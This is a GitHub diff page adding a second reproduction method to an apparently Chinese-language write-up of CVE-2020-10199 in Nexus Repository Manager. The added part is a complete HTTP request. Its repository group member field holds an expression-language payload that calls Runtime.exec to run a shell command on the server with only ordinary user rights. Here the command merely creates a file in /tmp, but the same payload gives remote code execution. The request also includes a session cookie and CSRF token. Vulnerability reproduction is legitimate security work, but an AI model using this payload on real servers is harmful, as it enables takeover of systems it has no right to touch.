File tree Expand file tree Collapse file tree 1 file changed +34
-0
lines changed
Expand file tree Collapse file tree 1 file changed +34
-0
lines changed Original file line number Diff line number Diff line change @@ -33,6 +33,7 @@ idea创建远程debug-启动
3333### 5. 登陆任何一个账号
3434
3535### 6. 调用接口
36+ #### 方法一(需要管理员权限)
36371 . 创建CleanupPolicy:
3738```
3839POST /service/extdirect HTTP/1.1
@@ -99,4 +100,37 @@ Connection: close
99100 "passphrase": "string"
100101 }
101102}
103+ ```
104+
105+ #### 方法二(普通用户权限)
106+ ```
107+ POST /service/rest/beta/repositories/go/group HTTP/1.1
108+ Host: 127.0.0.1:8081
109+ Content-Length: 195
110+ X-Requested-With: XMLHttpRequest
111+ X-Nexus-UI: true
112+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
113+ NX-ANTI-CSRF-TOKEN: 0.7886248393834028
114+ Content-Type: application/json
115+ Accept: */*
116+ Origin: http://127.0.0.1:8081
117+ Sec-Fetch-Site: same-origin
118+ Sec-Fetch-Mode: cors
119+ Referer: http://127.0.0.1:8081/
120+ Accept-Encoding: gzip, deflate, br
121+ Accept-Language: zh-CN,zh;q=0.9
122+ Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=396e7352-f76c-4bdd-9833-98d7990dca3b
123+ Connection: close
124+
125+ {
126+ "name": "internal",
127+ "online": true,
128+ "storage": {
129+ "blobStoreName": "default",
130+ "strictContentTypeValidation": true
131+ },
132+ "group": {
133+ "memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10199')}"]
134+ }
135+ }
102136```
You can’t perform that action at this time.
0 commit comments